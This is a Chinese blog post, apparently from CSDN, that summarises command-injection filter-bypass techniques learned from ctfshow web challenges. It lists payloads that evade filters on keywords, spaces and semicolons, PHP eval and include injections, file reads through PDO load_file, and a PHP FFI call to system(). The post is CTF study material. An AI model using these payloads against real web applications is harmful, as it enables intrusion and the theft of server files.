命令执行绕过姿势总结

在刷完ctfshow web入门的命令执行后,我准备用这篇博客回顾下命令执行的知识点,也为了以后遇到相似的知识点时方便查阅。(目录的名字都是自己想的)

过滤关键字

1.关键字替换

cat命令被过滤时,可以用以下命令代替:

tac|more|less|curl|nl|tail|sort|strings|head|paste|od -a

strings:显示文件中的可打印内容,一般用来查看非文本内容
sort:可针对文本文件的内容,以行为单位来排序。
curl:会发送 GET 请求来获取链接内容到标准输出
head:只显示前几行内容,如果文本较长,需要加上参数 -n
paste:会把每个文件以列对列的方式,一列列地加以合并。

2.引号绕过

关键字被过滤时,可以在单词中插入单引号、双引号、反引号、反斜杠来绕过:

c'at'|c"at"|c``at|c\at

3.内联执行

cat `ls`

输出当前目录下所有文件的内容

4.通配符绕过

*和?是Linux中的两种通配符,可以用他们代替关键字

cat * //输出当前目录下所有文件内容

/bin/c?t fl?g.php

cat命令是在/bin目录下的,因为通配符不会去环境变量中匹配,所以必须手动指定出cat的路径,否则只会在当前目录寻找能通配的文件。

5.拼接绕过

若题中过滤了flag,可以采用如下方式:

1;a=fl;b=ag.php;cat $a$b

理论上是这样,但是我在ctfshow上没试成功,希望有大佬能教一教我

过滤所有字母

用巧劲,/bin目录下不止cat一个命令,还有很多,可以利用有数字的配合通配符来输出内容,例如base64,还有/usr/bin下,例如bzip2

/???/????64 ????.???   # /bin/base64 flag.php 
/???/???/????2 ????.???  # /usr/bin/bzip2 flag.php 访问url/flag.php.bz2就能下载

过滤空格

<|<>|%20|%09|${IFS}9|${IFS}|

%09是一个字符,属于编码,在带入服务器时会进行解码,里面不包含数字。

过滤分号

可以用||或者%0a代替,%0a与上面%09同理

ls||
ls%0a

迂回绕过

这种方法的巧妙之处在于,题中过滤的关键字只对前一句话有效,对后面一句无效。这种方法也可用于限制了命令长度的情况。

1.eval

eval($_GET[1]);&1=system("cat flag.php");

2.include

include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

若题目中过滤了[] 、; 、(),可以用下面这种姿势:

include$_GET{1}?>

函数绕过

首先,先看这几个函数的定义:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出

查看目录的文件:

print_r(scandir(pos(localeconv())))  //当前目录
print_r(scandir('/'))  //查看根目录文件

输出目录中倒数第二个文件内容:

print_r(next(array_reverse(scandir(pos(localeconv())))))

array_reverse()和next()自己看着用

输出目录函数绕过

如果题目过滤了print_r(),可以使用以下函数代替输出目录:

var_dump()
var_export()

输出内容函数绕过

highlight_file()
include()
show_source()

遍历绕过

当过滤了scandir()函数,我们无法知道当前目录下的文件时,可以用php的遍历来得知:

?><?php
$a=new DirectoryIterator("glob:// /*");   //遍历根目录下所有文件
foreach($a as $f)
{
	echo ($f -> __toString().'  ');
}

数据库语句绕过

当所有的输出函数都被ban时,只能用数据库语句来输出文件内容

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}

FFI绕过

FFI只有php7.4以上的版本才有,换句话说,只适用于php7.4版本往上。
先看一下FFI的定义:

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag

$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

Linux运算符绕过

奇奇怪怪的符号:$(( )),配合取反规则:

如果b=~a,那么a+b=-1

适用于flag名为数字,但题中过滤了数字的情况
默认情况下$(())的值为0,那么对其取反,也就是$(( ~$(()) ))的值为-1,这种运算符相加的规则就是放在一起,即

$(( $((~$(())))  $((~$(())))  ))   //两个-1相加,值为-2

所以想要得到一个数,例如5,只需要将6个$((~$(())))放在一起,得到-6,然后对-6取反即可。

Linux内置变量绕过

直接看博客的web119-122

进制转换绕过

博客的web124,不单独总结了。

总结到这里就结束了,应该还是算比较全面的。如果有错误或者不足之处,欢迎师傅们指出。

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值